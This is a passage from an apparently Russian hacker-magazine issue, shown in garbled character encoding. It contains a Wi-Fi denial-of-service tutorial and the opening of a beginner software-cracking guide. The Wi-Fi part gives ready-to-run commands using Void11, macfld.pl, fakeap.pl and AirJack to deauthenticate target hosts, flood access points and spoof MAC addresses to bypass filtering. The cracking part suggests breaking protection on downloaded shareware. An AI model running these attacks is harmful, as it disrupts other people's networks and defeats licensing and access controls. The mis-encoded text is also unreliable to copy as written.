âàíèè ïîëó÷åííûõ äàííûõ ìîæíî ïîïûòàòüñÿ îïðåäåëèòü ìåñòîíà-
õîæäåíèå ãëóøàùåãî óñòðîéñòâà.

[buffer overflow] Èòàê, ïåðåïîëíåíèå áóôåðà. Äåëî â òîì, ÷òî ìíîãèå
òî÷êè äîñòóïà, â òîì ÷èñëå ïðîãðàììíûå, îòâîäÿò îãðàíè÷åííóþ îáëàñòü
ïàìÿòè ïîä îáðàáîòêó çàïðîñîâ íà ïðèñîåäèíåíèå è àóòåíòèôèêàöèþ.
Ïåðåïîëíåíèå áóôåðà ìîæíî îñóùåñòâèòü ñ ïîìîùüþ ïðîãè Void11. Ýòà
ïðîãà ïðåäíàçíà÷åíà äëÿ ðàáîòû â Linux (íóæíû äðîâà HostAP è êàðòà ñ
íàáîðîì ìèêðîñõåì Prism). Äàííàÿ òóëçà èäåàëüíî ïîäõîäèò äëÿ ïðîâå-
äåíèÿ DoS-àòàê íà áåñïðîâîäíûå ñåòè. Îíà óìååò ãåíåðèðîâàòü ôðåéìû
òðåõ òèïîâ: çàïðîñ íà àóòåíòèôèêàöèþ, ïðèñîåäèíåíèå è ïðåêðàùåíèå
ñåàíñà. Îíà òàêæå óìååò ïðîâîäèòü àòàêè íà íåñêîëüêî õîñòîâ, óñòàíà-
âëèâàòü êîëè÷åñòâî îäíîâðåìåííî ðàáîòàþùèõ ïîòîêîâ, çàäåðæêó ìåæ-
äó îòïðàâêîé ôðåéìîâ è ìíîãîå äðóãîå. Â îáùåì, îòëè÷íàÿ øòóêà.
Åùå îäíà âîçìîæíîñòü ïåðåïîëíåíèÿ áóôåðà òî÷êè ñîñòîèò â òîì,

÷òîáû ïðèñîåäèíèòüñÿ ê íåé, è ïî-
ñëå ýòîãî íà÷àòü áûñòðî ìåíÿòü
ñâîé MAC. Êàê ìåíÿòü MAC-àä-
ðåñ? Ýëåìåíòàðíî!

$ ifconfig wlan0 hw ether
FF:FF:FF:FF:FF:FF

Ýòî ñ ïîìîùüþ ifconfig, àíàëîãè÷-
íàÿ îïåðàöèÿ ñ ïîìîùüþ iproute
âûïîëíÿåòñÿ ñëåäóþùèì îáðàçîì:

$ ip link set dev wlan0 address FF:FF:FF:FF:FF:FF

Ðåàëèçîâàòü áûñòðóþ ñìåíó MAC ìîæíî, íàïèñàâ íåáîëüøîé ñöåíà-
ðèé, íàïðèìåð, íà ïåðëå, ÷òî è áûëî ñäåëàíî Äæîøóà Ðàéòîì â åãî
òâîðåíèè macfld.pl (ñêà÷àòü ìîæíî íà ñàéòå àâòîðà � http://ho-
me.jwu.edu/jwright/perl.htm). ×òîáû âûïîëíèòü ñöåíàðèé, ââîäèì:

$perl macfld.pl -c 1000 -u 10000
Ôëàã -c óêàçûâàåò íà òî, ñêîëüêî íóæíî ãåíåðèðîâàòü MAC-àäðåñîâ, ôëàã

-u ïðåäíàçíà÷åí äëÿ
óñòàíîâêè çàäåðæêè â
ìèêðîñåêóíäàõ, ïåðåä
ãåíåðàöèåé ñëåäóþùå-
ãî MAC-àäðåñà.

[ôðåéìû-ôàëüøèâ-
êè] Íàèáîëåå ðàñïðî-
ñòðàíåííûé âèä DoS-

àòàê � ýòî ïîñûëêà áîëüøîãî êî-
ëè÷åñòâà ôðåéìîâ ñ çàïðîñàìè íà
ïðåêðàùåíèå ñåàíñà è îòñîåäèíå-
íèå. Ñóùíîñòü ýòîé àòàêè ñîñòîèò
â îòïðàâêå âûáðàííîìó õîñòó èëè
õîñòàì çàïðîñîâ íà ïðåêðàùåíèå
ñåàíñà è îòñîåäèíåíèå îò èìåíè
òî÷êè äîñòóïà, îò åå MAC-àäðåñà.
Îòñîåäèíèâ õîñò, ìîæíî ïðèñîå-
äèíèòüñÿ ê ñåòè, óñòàíîâèâ åãî

MAC-àäðåñ. Òàê îáû÷íî õàêåðû îáõîäÿò ôèëüòðàöèþ ìàê-àäðåñîâ.
×òîáû íàäîëãî âûðóáèòü õîñò, ëó÷øå âñåãî ïðèìåíèòü Void11. Äàâàé
ïîñìîòðèì åå â ðàáîòå. Íî ñíà÷àëà íóæíî óñòàíîâèòü äðîâà HostAP.
Íàéòè èõ ïîñëåäíþþ âåðñèþ ìîæíî íà http://hostap.epitest.fi. ×òîáû
Void11 ðàáîòàëà íà íèõ, íåîáõîäèìî îïðåäåëèòü êîíñòàíòó PRISM2_HOS-
TAPD â driver/modules/hostap_config.h (ýòî íåîáõîäèìî ïðîäåëûâàòü
â ðàííèõ âåðñèÿõ äðàéâåðîâ, â íîâûõ � íå íóæíî). Êîìïèëèì ïîä ðóòîì:

$ make && make_pccard

Ýòî âàðèàíò äëÿ êàðò PCMCIA. Òåïåðü íóæíî ïåðåçàïóñòèòü ñëóæáû PCM-
CIA è ïîìåñòèòü êàðòó â ðàçúåì. Åñëè âñå ïðîøëî óñïåøíî, òî êàðòà íà÷è-
íàåò ðàáîòàòü â ðåæèìå òî÷êè äîñòóïà. Ìîæíî ïðîèçâåñòè íàñòðîéêó êàðòû
ñ ïîìîùüþ Linux Wireless Extensions:

$ iwconfig

Òû óâèäèøü, ïàðàìåòðû ðàáîòû êàðòû (îíè áåðóòñÿ èç /proc/net/dev). Çäåñü
ïàðàìåòð Mode:Master îçíà÷àåò, ÷òî êàðòà ðàáîòàåò â ðåæèìå òî÷êè äîñòó-
ïà. Ñìåíèòü ðåæèì è ëþáîé ïàðàìåòð ìîæíî êîìàíäîé:

$ iwconfig wlan0 mode repeater channel 6

Òàê ìû çàñòàâèëè êàðòó ðàáîòàòü â êà÷åñòâå ðåïèòåðà íà øåñòîì êàíàëå.
Êàê ÿ óæå ãîâîðèë, ñêîíôèãóðèðîâàòü òî÷êó äîñòóïà ñîâñåì íåñëîæíî.
Void11 ñîñòîèò èç äâóõ óòèëèò: void11_hopper è void11_penetration. Õîïïåð
êîíôèãóðèðóåò êàðòó, à ïåíåòðåéøí íóæåí äëÿ ãåíåðàöèè ôðåéìîâ. Îòðó-
áèì, íàïðèìåð, õîñò c MAC-àäðåñîì FF:FF:FF:FF:FF:FF, ïîñûëàÿ ôðåéìû ñ
àäðåñà AA:AA:AA:AA:AA:AA:

void11_hopper >/dev/null &
void11_penetration -s AA:AA:AA:AA:AA:AA -B FF:FF:FF:FF:FF:FF -D wlan0

À âîò ïðèìåð àòàêè íà ïåðåïîëíåíèå áóôåðà ïî ñïèñêó àäðåñîâ, ñîäåðæà-
ùèõñÿ â ôàéëå spisok:

void11_hopper >/dev/null &
void11_penetration -t 2 -l spisok -D wlan0[X
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×àñòîòíîå ðàñïðåäåëåíèå ïî êàíàëàì 802.11

Ïðè ïîìîùè ìàãíåòðîíà èç ìèêðîâîëíîâêè ìîæíî ñîîðóäèòü
íàñòîÿùåãî óáèéöó äëÿ WiFi-òî÷åê

èñõîäíèêè void11

Â õåëïå ìîæíî â ïîäðîáíîñòÿõ îç-
íàêîìèòüñÿ ñ âîçìîæíîñòÿìè void11

Ðàáîòà ñ óòèëèòîé iwconfig



ß íå ñòàíó ïîäðîáíî îñòàíàâëèâàòüñÿ ðàñêàçû-
âàòü íà íàçíà÷åíèè ðàçëè÷íûõ ôëàãîâ ýòîé óòè-
ëû, áóäåò ëó÷øå, åñëè òû ðàçáåðåøüñÿ â íèõ ñàì
(-h � ñàìûé âàæíûé ôëàã :).
Èäåì äàëüøå. Äàííóþ àòàêó ìîæíî óñèëèòü ïó-
òåì ïîñûëêè âìåñòå ñ ôðåéìàìè, ñîäåðæàùèìè
çàïðîñû íà îòñîåäèíåíèå èëè ïðåêðàùåíèå ñå-
àíñà, åùå è ïîääåëüíûõ îòâåòîâ íà ïðîáíûå çà-
ïðîñû àòàêóåìîãî õîñòà, ïåðåíàïðàâëÿþùèõ
ýòîò õîñò íà òî÷êó ñ íåñóùåñòâóþùèìè ESSID è
íà íåèñïîëüçóåìûé êàíàë. Äëÿ ïðîâåäåíèÿ ýòîé
àòàêè â äîïîëíåíèå ê Void11 ìîæíî èñïîëüçî-
âàòü ïåðëîâûé ñêðèïò fakeap.pl îò Black Alchemy
Enterprises, óìåþùóþ ïîñûëàòü ïîääåëüíûå
ôðåéìû-ìàÿêè. Êàê è âîèä11, ôåéêýï ðàáîòàåò
íà äðàéâåðàõ HostAP. Ïåðåä èñïîëüçîâàíèåì
ýòîò ñêðèïò ïðèäåòñÿ íåìíîãî ïðàâèòü. Âî-ïåð-
âûõ, ïåðåìåííóþ $MAX_CHANNEL, êîòîðàÿ ðàâ-
íà 11 èñïðàâü íà 14 (àìåðèêàíñêîå çàêîíîäà-
òåëüñòâî ñóæàåò äèàïàçîí ÷àñòîò ïîä WiFi, ïîý-
òîìó ìàêñèìàëüíîå ÷èñëî êàíàëîâ òàì � 11, ó
íàñ � 14). Âîçìîæíî, ïðèäåòñÿ èçìåíèòü ïóòè ê
ôàéëàì â ïåðåìåííûõ $IWCONFIG, $IFCONFIG,
$CRYPTCONF. Çàïóñêàåì:

$ perl fakeap.pl

Êàê âèäèøü, íàì ïîòðåáóåòñÿ óêàçàòü â ïàðàìå-
òðå -channel êàêîé-íèáóäü íåèñïîëüçóåìûé, óêà-
çàòü ïàðàìåòðîì -words ôàéë ñ çàðàíåå ïîäãîòî-
âëåííûì ñïèñêîì ïîääåëüíûõ ESSID.
Ñóùåñòâóåò åùå îäíà ðàçíîâèäíîñòü DoS-àòàê,
èñïîëüçóþùàÿ ïîääåëüíûå ôðåéìû. Îíà ðåà-
ëèçîâàíà Ìàðêîì Îñáîðíîì (Mark Osborne) â
ïðîãå fata_jack. Ýòà ïðîãðàììêà ïîñûëàåò çà-
ïðîñ íà àóòåíòèôèêàöèþ ê òî÷êå äîñòóïà îò
èìåíè õîñòà-æåðòâû. Çàïðîñ ñôîðìèðîâàí òà-
êèì îáðàçîì, ÷òî òî÷êà âîçâðàùàåò àòàêóåìî-
ìó õîñòó ôðåéì ñ ñîîáùåíèåì îá îøèáêå è ðàç-
ðûâàåò ñ íèì ñîåäèíåíèå, ïðè÷åì ïîâòîðíîå
ïðèñîåäèíåíèå ýòîãî õîñòà ê òî÷êå ñòàíîâèòñÿ
âåñüìà çàòðóäíèòåëüíûì.

[âîçäóøíûé Äæåê] Ðàáîòàåò fata_jack íà
äðàéâåðàõ, èäóùèõ â êîìïëåêòå ïðîãðàìì Air-
Jack. Äîëæåí ñêàçàòü, ÷òî ýòîò êîìïëåêò, ïîæà-
ëóé, íàèëó÷øèé èíñòðóìåíò äëÿ ãåíåðèðîâàíèÿ
ðàçëè÷íûõ ôðåéìîâ 802.11. Èçíà÷àëüíî îí
ñîçäàâàëñÿ äëÿ êàðò ñ íàáîðîì ìèêðîñõåì Pris-
mII, íî óæå ñåé÷àñ åãî ìîæíî íàñòðîèòü è ïîä
êàðòû ñ íàáîðîì ñõåì Hermes, à â ïëàíàõ ðàç-
ðàáîò÷èêîâ îñóùåñòâèòü â áóäóùåì ïîääåðæêó
è äðóãèõ íàáîðîâ ñõåì. AirJack âêëþ÷àåò â ñåáÿ
ðÿä óòèëèò: monkey_jack, ïðåäíàçíà÷åííóþ äëÿ
ïðîâåäåíèÿ àòàê «÷åëîâåê ïîñåðåäèíå»; åå ìî-
äèôèêàöèþ cracker_jack; essid_jack, ñëóæàùóþ
äëÿ îáíàðóæåíèÿ ñêðûòîãî ESSID; wlan_jack �
äëÿ ïîñûëêè ôðåéìîâ ïðåêðàùåíèÿ ñåàíñà ñ
ïîääåëüíûì MAC. Ðàñïðîñòðàíÿåòñÿ AirJack ïî
ëèöåíçèè GNU, âçÿòü èñõîäíèêè ìîæåøü íà
http://802.11ninja.net/airjack.
Ïîä äðàéâåðà AirJack íàïèñàíà òàêàÿ çàìå÷à-
òåëüíàÿ ïðîãà, êàê File2Air. Íàçâàíèå åå ãîâî-
ðèò ñàìî çà ñåáÿ � îíà ïåðåäàåò ôàéëû ïî
âîçäóõó. Ïðè ýòîì îíà íå ãåíåðèðóåò ôðåéìû
802.11, à ïðîñòî ïåðåäàåò äâîè÷íûé ôàéë «â
ýôèð». Ýòà òóëçà äëÿ íàñòîÿùèõ õàêåðîâ. Òû
ìîæåøü ñàì ñîñòàâëÿòü àáñîëþòíî ëþáûå
ôðåéìû â øåñòíàäöàòåðè÷íîì ðåäàêòîðå è ïî-
ñûëàòü èõ ïî óêàçàííîìó êàíàëó, óêàçàâ çà-
äåðæêó, êîëè÷åñòâî îòïðàâîê è èíûå ïàðàìå-
òðû. Êîíå÷íî, íåîáõîäèìî çíàíèå ðàçëè÷íûõ
ïðîòîêîëîâ ñòàíäàðòà 802.11, íî ïðåäñòàâü,
êàê óäîáíî ñ ïîìîùüþ ýòîãî èíñòðóìåíòà èñ-
êàòü íîâûå óÿçâèìîñòè ñåòåé è ðåàëèçîâûâàòü
àòàêè, äëÿ êîòîðûõ åùå íå ñîçäàíî ñïåöèàëè-
çèðîâàííîãî èíñòðóìåíòà. Â êîìïëåêòå ñ ïåð-

âîé âåðñèåé ýòîé ïðîãðàììû øëî âñåãî òðè
ïðèìåðà äâîè÷íûõ ôàéëîâ, ïðèìåíåíèå êîòî-
ðûõ îïèñûâàëîñü â README. Ñåé÷àñ óæå ìîæ-
íî íàéòè ôàéëû ñ ôðåéìàìè, ïðåäíàçíà÷åííû-
ìè, íàïðèìåð, äëÿ ïðîâåäåíèÿ âñåõ âûøåîïè-
ñàííûõ DoS-àòàê. Òàêèì îáðàçîì, ýòà ïðîãà �
ñàìûé óíèâåðñàëüíûé èíñòðóìåíò WiFi-õàêåðà,
êîòîðûé ãîäèòñÿ êàê äëÿ àòàê íà áåñïðîâîäíûå
ñåòè, òàê è äëÿ èõ çàùèòû îò âòîðæåíèé. Îíà
óìååò ïîñûëàòü ôðåéìû äàæå â ðåæèìå ìîíè-
òîðèíãà, à ýòî ïîçâîëÿåò ðåàãèðîâàòü íà ðàç-
ëè÷íûå ñîáûòèÿ â ñåòè, ïóòåì íàïèñàíèÿ íå-
ñëîæíûõ ñêðèïòîâ.
Ñîáèðàåòñÿ AirJack ñòàíäàðòíîé êîìàíäîé ma-
ke. Ïðè ýòîì, âîçìîæíî, ïîÿâèòñÿ ñîîáùåíèå
îá îøèáêå, ñâÿçàííîé ñ ñèìâîëîì 'cmpxchhg'.
Èñïðàâèòü åå ìîæíî, óäàëèâ ôëàã -Werrow èç
ïåðåìåííîé CFLAGS, íàõîäÿùåéñÿ â ôàéëå
Makefile. Äàëåå íàäî ñêîïèðîâàòü airjack_cs.o
â êàòàëîã /lib/modules/âåðñèÿ_ÿäðà/pcmcia è
çàïóñòèòü depmod. Çàòåì â etc/pcmcia íóæíî
ïðàâèòü ôàéëû wlan-ng.conf è config ïóòåì çà-
ìåíû âñåõ ñòðîê bind prism2_cs íà airjack_cs.
Òåïåðü îñòàåòñÿ âûòàùèòü êàðòó èç ðàçúåìà è
ïåðåçàïóñòèòü ìåíåäæåð êàðò. Âñòàâëÿåì åå
ñíîâà è äàåì êîìàíäó lsmod. Åñëè âñå ïðîøëî
óñïåøíî, òî â êà÷åñòâå ìîäóëÿ áóäåò ñòîÿòü
airjack-cs. Òåïåðü íóæíî ïîäíÿòü èíòåðôåéñ
áåñïðîâîäíîé êàðòû.

$ ifconfig -a

Ñìîòðèì, ïîÿâèëñÿ ëè èíòåðôåéñ aj0, è, åñëè ïî-
ÿâèëñÿ, òî ïîäíèìàåì åãî:

$ ifconfig aj0 up

Îñòàëîñü ñîáðàòü óòèëèòû, âõîäÿùèå â ÝéðÄæåê.
Ïåðåõîäèì â ïîäêàòàëîã /tools êàòàëîãà ïðîãðàì-
ìû, ââîäèì make, à çàòåì åùå è make monkey_jack.

[íåðåàëèçîâàííûå àòàêè] Ðÿä àòàê íà áåñ-
ïðîâîäíûå ñåòè ñóùåñòâóåò ïîêà òîëüêî â òåî-
ðèè. Íå ñóùåñòâóåò èíñòðóìåíòîâ äëÿ èõ ïðîâå-
äåíèÿ (èëè ïðîñòî ìíå îá ýòîì íåèçâåñòíî, à êòî-
òî âîâñþ óæå äîñèò ýòèìè ñïîñîáàìè, õîòÿ, âîç-
ìîæíî, îíè òàê è îñòàíóòñÿ òîëüêî â òåîðèè).
Îäíà èç íåðåàëèçîâàííûõ äîñ-àòàê íà WiFi ñî-
ñòîèò â èçìåíåíèè êîíòðîëüíûõ ñóìì (CRC-
32), ïîñûëàåìûõ ôðåéìàì, â ðåçóëüòàòå ÷åãî
ôðåéì íå ïðèíèìàåòñÿ õîñòîì. Â òî æå âðåìÿ
îòïðàâèòåëþ ïîñûëàåòñÿ ïîääåëüíûé ôðåéì ñ
ïîäòâåðæäåíèåì óñïåøíîãî ïðèíÿòèÿ ôðåéìà,
êîòîðûé íà ñàìîì äåëå ðàñòâîðèëñÿ â âîçäóõå.
Ñëîæíîñòü ðåàëèçàöèè â ýòîé àòàêå ñîñòîèò â
òîì, ÷òî íóæíî ñãåíåðèðîâàòü øóì, òî÷íî â ìî-
ìåíò ïåðåäà÷è êîíòðîëüíîé ñóììû (ýòî ïî-
ñëåäíèå ÷åòûðå áàéòà) ôðåéìà.
Ïîäîáíóþ àòàêó ïðåäëàãàþò èñïîëüçîâàòü
ïðîòèâ ñåòåé ñòàíäàðòà 802.11i. Òîëüêî çäåñü
íåîáõîäèìî èñêàçèòü êîíòðîëüíóþ ñóììó,
ïîäòâåðæäàþùóþ öåëîñòíîñòü ñîîáùåíèÿ
(MIC � Message Integrity Checksum) â ïðîòî-
êîëå TKIP. Â ñòàíäàðòå îïðåäåëåíî, ÷òî åñëè
çà îäíó ñåêóíäó ïðèäåò áîëüøå îäíîãî ôðåé-
ìà ñ íåïðàâèëüíîé MIC, òî õîñò îòñîåäèíèòñÿ
íà ìèíóòó, à çàòåì ïðèñîåäèíèòñÿ ê íîâîìó
ñåàíñîâîìó êëþ÷ó.

[çàêëþ÷åíèå] Õî÷ó ñêàçàòü, ÷òî íàïèñàë äà-
ëåêî íå îáî âñåõ âîçìîæíûõ âèäàõ Denial of
Service, õàðàêòåðíûõ äëÿ áåñïðîâîäíûõ ñåòåé
802.11. Åùå õî÷ó ñêàçàòü, ÷òî DoS-àòàêè íà ñå-
òè � äåëî íåõîðîøåå, ïîýòîìó íå ñòîèò äîñèòü
ñåòêè òîëüêî â îòìåñòêó çà òî, ÷òî òû íå ñìîã â
íèõ ïðîíèêíóòü èëè îòòîãî, ÷òî òåáå ïðîñòî íå-
÷åì çàíÿòüñÿ



CRAcKING

ÏÎ ÊÀÊÎÉ-ÒÎ ÍÅÏÎÍßÒÍÎÉ ÌÍÅ ÏÐÈ×ÈÍÅ ÌÍÎÃÈÅ
Ñ×ÈÒÀÞÒ, ×ÒÎ ÂÇËÎÌÎÌ ÏÐÎÃÐÀÌÌ ÇÀÍÈÌÀÞÒÑß
ÈÑÊËÞ×ÈÒÅËÜÍÎ ÊÎÌÏÜÞÒÅÐÍÛÅ ÃÓÐÓ, ÊÎÒÎÐÛÅ
ÄÎ ÌÎÇÃÀ ÊÎÑÒÅÉ ÏÐÎÍÈÊËÈÑÜ ÍÈÇÊÎÓÐÎÂÍÅÂÛÌ
ÊÎÄÈÍÃÎÌ È ÏÐÈÊËÀÄÍÎÉ ÊÐÈÏÒÎÃÐÀÔÈÅÉ. ÍÎ ÊÀÊ
ÒÎËÜÊÎ ÒÊÍÅØÜ ÈÕ ÍÎÑÎÌ, ÏÎÊÀÆÅØÜ ÎÒËÀÄ×ÈÊ,
ÐÀÇÆÓÅØÜ ÂÑÅ È ÐÀÇËÎÆÈØÜ ÏÎ ÏÎËÎ×ÊÀÌ �
ÓÄÈÂËßÞÒÑß: «ÍÅÓÆÅËÈ ÂÑÅ ÒÀÊ ÏÐÎÑÒÎ, À?». 
ÒÂÎß Î×ÅÐÅÄÜ! | Ñòåïàí Èëüèí aka Step (faq@real.xakep.ru)

[reversing] Íà÷íåì ñ ñàìîãî ïðîñòîãî. ×òî âîîáùå íóæíî äëÿ òîãî, ÷òî-
áû âçëîìàòü ïðîãðàììó, îáîéòè èëè óáðàòü çàùèòó, ñãåíåðèðîâàòü ñå-
ðèéíûé êîä? Ïðàâèëüíî � ïîñìîòðåòü èñõîäíûé êîä ïðîãðàììû è ïðè
íåîáõîäèìîñòè âèäîèçìåíèòü åãî. Ê ñîæàëåíèþ, íàéòè èñõîäíèê ê êîì-
ìåð÷åñêîìó ïðîäóêòó ïðàêòè÷åñêè íåâîçìîæíî, ïîýòîìó ïðèõîäèòñÿ èä-
òè ïî îáõîäíîìó ïóòè.
Êàê èçâåñòíî, ëþáàÿ ïðîãðàììà (âåðíåå ñêàçàòü, èñïîëíÿåìûé ôàéë) ïðåä-
ñòàâëåíà íà êîìïüþòåðå â âèäå ìàøèííûõ êîìàíä. Ýòè êîìàíäû ïîíÿòíû
ìèêðîïðîöåññîðó, íî ïðîãðàììèðîâàòü ñ èõ ïîìîùüþ ÷ðåçâû÷àéíî ñëîæ-
íî: îòêðîé ëþáîé EXE-ôàéë â HEX-ðåäàêòîðå, è òû ñðàçó ïîéìåøü, ÷òî ÿ
èìåþ â âèäó. ×òîáû îáëåã÷èòü ïðîöåññ ïðîãðàììèðîâàíèÿ áûë èçîáðåòåí
ñïåöèàëüíûé òðàíñëÿòîð, êîòîðûé èìååò ïðèìèòèâíûé íàáîð êîìàíä  è
ñïîñîáåí ïðåîáðàçîâûâàòü ñîñòàâëåííûå èç íèõ êîíñòðóêöèè â ìàøèííûé
êîä. Èìÿ ýòîãî ÷óäíîãî èçîáðåòåíèÿ � àññåìáëåð.
Ïîíèìàåøü, êóäà ÿ êëîíþ? Åñëè èç àññåìáëåðíîãî ëèñòèíãà ìîæíî ïîëó-
÷èòü ìàøèííûé êîä, òî âïîëíå âîçìîæíî è îáðàòíàÿ îïåðàöèÿ. Äåéñòâè-
òåëüíî ëþáîé èñïîëíÿåìûé ôàéë ñ òîé èëè èíîé òî÷íîñòüþ ìîæåò áûòü
ïðåäñòàâëåí â âèäå àññåìáëåðíûõ êîìàíä � ýòîé çàäà÷åé, ñîáñòâåííî,
è çàíèìàþòñÿ äèçàññåìáëåðû. Íàèáîëåå ïðîäâèíóòûì äèçàññåìáëåðîì
ïî ïðàâó ñ÷èòàåòñÿ IDA (www.idapro.ru), îäíàêî, äëÿ åãî èñïîëüçîâàíèÿ
òðåáóåòñÿ íåêîòîðûé îïûò. Äëÿ ðåøåíèÿ íåñëîæíûõ è ñðåäíèõ çàäà÷
âïîëíå äîñòàòî÷íî ìåíåå ôóíêöèîíàëüíîãî, íî óäîáíîãî � W32Dasm
(www.expage.com/page/w32dasm).
Ïîìèìî äèçàññåìáëåðà íàì ïîòðåáóåòñÿ åùå è îòëàä÷èê (äåáàããåð). Îí
òàêæå äèçàññåìáëèðóåò èñõîäíûé êîä ïðîãðàììû (òî åñòü âêëþ÷àåò â ñå-
áÿ ôóíêöèè äèçàññåìáëåðà), íî ïîìèìî ýòîãî ïîçâîëÿåò åùå è øàã çà
øàãîì, èíñòðóêöèþ çà èíñòðóêöèåé, âûïîëíèòü ïðîãðàììó. Òû ïîëíî-
ñòüþ êîíòðîëèðóåøü õîä åå âûïîëíåíèÿ, ïðè ýòîì òåêóùèå àññåìáëåð-
íûå êîìàíäû âñåãäà íàõîäÿòñÿ ó òåáÿ ïåðåä ãëàçàìè. Äîëãîå âðåìÿ àá-
ñîëþòíûì ëèäåðîì ñðåäè îòëàä÷èêîâ áûë SoftIce, ñåé÷àñ æå ìíîãèå íà-
÷àëè èñïîëüçîâàòü OllyDBG (www.ollydbg.de). Ýòî 32-áèòíûé íèçêîóðîâ-

Ïåðâûå øàãè 
äëÿ íà÷èíàþùåãî êðýêåðà

íåâûé îòëàä÷èê ñ ïðîäóìàííûì èí-
òåðôåéñîì è ïîëåçíûìè ôóíêöèÿìè,
êîòîðûå ñóùåñòâåííûì îáðàçîì îáëåã÷àþò ïðîöåññ îòëàäêè. Â OllyDBG
âñòðîåí ñïåöèàëüíûé àíàëèçàòîð, êîòîðûé ðàñïîçíàåò è âèçóàëüíî
îáîçíà÷àåò ïðîöåäóðû, öèêëû, êîíñòàíòû è ñòðîêè, âíåäðåííûå â êîä,
îáðàùåíèå ê ôóíêöèÿì API, ïàðàìåòðû ýòèõ ôóíêöèè è ò.ï. Äëÿ íîâè÷êà
(è íå òîëüêî) � ýòî èìåííî òî, ÷òî íàäî!

[ñ ÷åãî íà÷àòü?] Íà÷èíàÿ çàíèìàòüñÿ êðýêèíãîì, áóäü ðàññóäèòå-
ëåí. Ìîé òåáå ñîâåò: íå ñïåøè áðàòü áûêà çà ðîãà è ñðàçó áðàòüñÿ çà
âçëîì äîáðîòíîé ñîôòèíû ñ ïðîäóìàííîé çàùèòîé. Áåç ñîîòâåòñòâóþ-
ùåãî îïûòà ó òåáÿ âñå ðàâíî âðÿä ëè ÷òî-òî ïîëó÷èòñÿ. Ñêîðåå âñåãî,
òû ïðîñòî çàêèíåøü ýòî íåáëàãîäàðíîå çàíÿòèå, îäíîâðåìåííî ñ ýòèì
ïîòåðÿâ âñÿêèé èíòåðåñ ê òåìå. Íà÷èíàòü, êàê èçâåñòíî, íàäî ñ ïðî-
ñòîãî: çäåñü áóäåò è ïîíèìàíèå, è èíòåðåñ, è ñàìîå ãëàâíîå � òîëê.
Ìîæíî, íàïðèìåð, çàéòè íà www.downloads.com è íàêà÷àòü ïàðó äå-
ñÿòêîâ ñîìíèòåëüíûõ ïðîãðàìì, òèïà ÑóïåðÇâîíèëêè, ÃèïåðÁëîêíîòà
è ò.ä. � ñðåäè íèõ, íàâåðíÿêà, íàéäóòñÿ ýêçåìïëÿðû ñ ïðèìèòèâíîé
çàùèòîé. Íî ÿ òåáå ðåêîìåíäóþ íà÷àòü ñ òàê íàçûâàåìûõ êðÿêìèñîâ
(crackme) � ñïåöèàëüíûõ çàäàíèé äëÿ âçëîìùèêîâ. Ìíîãèå èç íèõ íà-
ïèñàíû ñïåöèàëüíî äëÿ íîâè÷êîâ, î ÷åì óêàçàíî â îïèñàíèè, ïîýòîìó
èäåàëüíî ïîäîéäóò äëÿ îáó÷åíèÿ. Âäîáàâîê ìíîãèå ðåïîçèòàðèè êðÿê-
ìèñîâ (íàïðèìåð, www.crackmes.de) âûêëàäûâàþò åùå è òóòîðèàëû
(èíñòðóêöèè ïî ïðîõîæäåíèþ), ïîýòîìó òû ñìîæåøü ñðàâíèòü ñâîé è
àâòîðñêèé ïîäõîäû âçëîìà èëè æå íàéòè ïîäñêàçêó íà ïóòè ê âåðíîìó
ðåøåíèþ. Èäåàëüíûé âàðèàíò äëÿ íîâè÷êîâ � ñåðèÿ êðÿêìèñîâ îò
FaNt0m'à (www.crackmes.de/users/fant0m/fant0mcollection). Åå è ðàñ-
ñìîòðèì: äëÿ ëó÷øåãî óñâîåíèÿ ðåêîìåíäóþ âûïîëíÿòü äåéñòâèÿ ïà-

Íà íàøåì äèñêå òû íàé-
äåøü âñå óïîìÿíóòûå â
ñòàòüå óòèëèòû, ïëàãèíû ê
OllyDBG, à òàêæå êîëëåê-
öèþ crackmes îò fant0m'à.

Ïåðåä ÷òåíèåì ñòàòüè ÿ íà-
ñòîÿòåëüíî ñîâåòóþ ïðî÷è-
òàòü ñòàòüè èç «Êîäèíãà»,
ïîñâÿùåííûå àññåìáëåðó.
Ýòî ñóùåñòâåííî îáëåã÷èò
è óñêîðèò ïîíèìàíèå ìàòå-
ðèàëà.
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ôóíêöèÿì. Ñëîâî «ñòåê» ïîäðàçóìåâàåò èñïîëüçîâàíèå ïðèíöèïà FILO
(First In � Last Out, «ïåðâûì ïðèøåë � ïîñëåäíèì âûøåë»). Ïîñëåäíåå
çàíåñåííîå â ñòåê (êîìàíäîé PUSH) çíà÷åíèå, áóäåò èçâëå÷åíî (êîìàí-
äîé POP) ïåðâûì, ïðåäïîñëåäíåå � âòîðûì è ò.ä. Ìîæíî íàãëÿäíî ïðåä-
ñòàâèòü ñåáå ýòî, âîîáðàçèâ êîëîäó êàðò.
Åñëè òû çíàêîì ñ ïðîãðàììèðîâàíèåì ïîä Windows, òî äîëæåí çíàòü, ÷òî
ñòàíäàðòíîå îêíî ñ ñîîáùåíèåì ÷àùå âñåãî âûâîäèòñÿ ñ ïîìîùüþ ñïå-
öèàëüíîé API-ôóíêöèè MessageBoxA. Ñàìà ñòðîêà ñîîáùåíèÿ è ïðî÷èå
ïàðàìåòðû îêíà ïîìåùàþòñÿ â ñòåê, îòêóäà ïîçæå èçâëåêàþòñÿ è îáðà-
áàòûâàþòñÿ ôóíêöèåé (ýòî ñàìûé ðàñïðîñòðàíåííûé ñïîñîá ïåðåäà÷è
ïàðàìåòðîâ ôóíêöèè â ÿçûêå àññåìáëåð). Ïîëó÷àåòñÿ, ÷òî ïîñëå ââîäà

ðàëëåëüíî ñî ìíîé.
Òîëüêî â ýòîì ñëó÷àå
òû áóäåøü ïîíèìàòü,
î ÷åì ÿ ãîâîðþ :).

[íåìíîãî òåîðèè]
Âîçüìåì ïåðâûé êðÿê-
ìèñ èç êîëëåêöèè �
FaNt0m's CrackMe #1. Â
çàäàíèè òðåáóåòñÿ íàé-
òè ñåðèéíèê, ïðè ýòîì
èñïîëüçóÿ èñêëþ÷èòåëü-
íî äèçàññåìáëåð. Èñ-
ïîëüçîâàòü äåáàããåð ïî
óñëîâèþ çàïðåùåíî, íî
îí, ñîáñòâåííî, è íå
òðåáóåòñÿ. Ïîñìîòðèì,
÷òî ñîáîé ïðåäñòàâëÿåò
ïðîãðàììà: îáû÷íîå îêíî ñ òåêñòîâûì ïîëåì äëÿ ââîäà. Ïîñëå ââîäà ñëó÷àé-
íîãî çíà÷åíèÿ (íàïðèìåð, ñëîâà «õàêåð»), ïîÿâëÿåòñÿ âñïëûâàþùåå îêíî ñ
